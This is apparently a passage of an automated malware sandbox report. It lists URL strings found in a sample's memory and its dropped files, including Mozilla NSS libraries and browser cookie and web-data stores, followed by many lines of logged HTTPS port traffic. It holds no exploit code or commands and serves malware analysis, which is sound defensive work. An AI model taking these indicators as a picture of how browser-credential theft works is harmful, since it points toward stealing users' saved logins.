Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr, 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_473.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_473.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_473.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_473.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: FCFBFBFBKFIDHJKFCAFC.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.9.dr, 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.9.dr, 000003.log0.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13374813862821095.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_473.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_477.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_477.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: HCFBAFIDAECAKFHJDBAFIEBKKK.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HCFBAFIDAECAKFHJDBAFIEBKKK.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HCFBAFIDAECAKFHJDBAFIEBKKK.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_477.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2478063859.0000000023C51000.00000004.00000020.00020000.00000000.sdmp, FCFBFBFBKFIDHJKFCAFC.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2478063859.0000000023C51000.00000004.00000020.00020000.00000000.sdmp, FCFBFBFBKFIDHJKFCAFC.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2245707478.0000000001582000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chromecache_473.4.dr	String found in binary or memory: https://www.google.com
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2348482244.0000000023BFB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245707478.0000000001582000.00000004.00000020.00020000.00000000.sdmp, AAFBAKEC.0.dr, Web Data.9.dr, IJDHDGDA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ecdf5f6c-cb44-4205-b8d9-ad841fab1844.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_477.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_477.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_473.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_473.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_473.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: HCFBAFIDAECAKFHJDBAFIEBKKK.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2459973983.0000000000D94000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2459973983.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HCFBAFIDAECAKFHJDBAFIEBKKK.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2459973983.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HCFBAFIDAECAKFHJDBAFIEBKKK.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2459973983.0000000000D94000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2459973983.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2432699587.0000000023D88000.00000004.00000020.00020000.00000000.sdmp, HCFBAFIDAECAKFHJDBAFIEBKKK.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2459973983.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: HCFBAFIDAECAKFHJDBAFIEBKKK.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2432699587.0000000023D88000.00000004.00000020.00020000.00000000.sdmp, HCFBAFIDAECAKFHJDBAFIEBKKK.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2459973983.0000000000D94000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2459973983.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2432699587.0000000023D88000.00000004.00000020.00020000.00000000.sdmp, HCFBAFIDAECAKFHJDBAFIEBKKK.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2459973983.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: file.exe, 00000000.00000002.2459973983.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 59723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59668
Source: unknown	Network traffic detected: HTTP traffic on port 59746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59667
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59669
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59675
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59674
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59677
Source: unknown	Network traffic detected: HTTP traffic on port 50395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59676
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59671
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59670
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 50383 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 50417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59679
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59678
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59687
Source: unknown	Network traffic detected: HTTP traffic on port 50428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59682
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59681
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59683
Source: unknown	Network traffic detected: HTTP traffic on port 59666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59680
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 59758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59655 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59689
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59692
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59695
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 59642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59691
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59690
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 59757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50403
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50405
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50407
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50406
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50409
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50408
Source: unknown	Network traffic detected: HTTP traffic on port 59724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50401
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50400
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
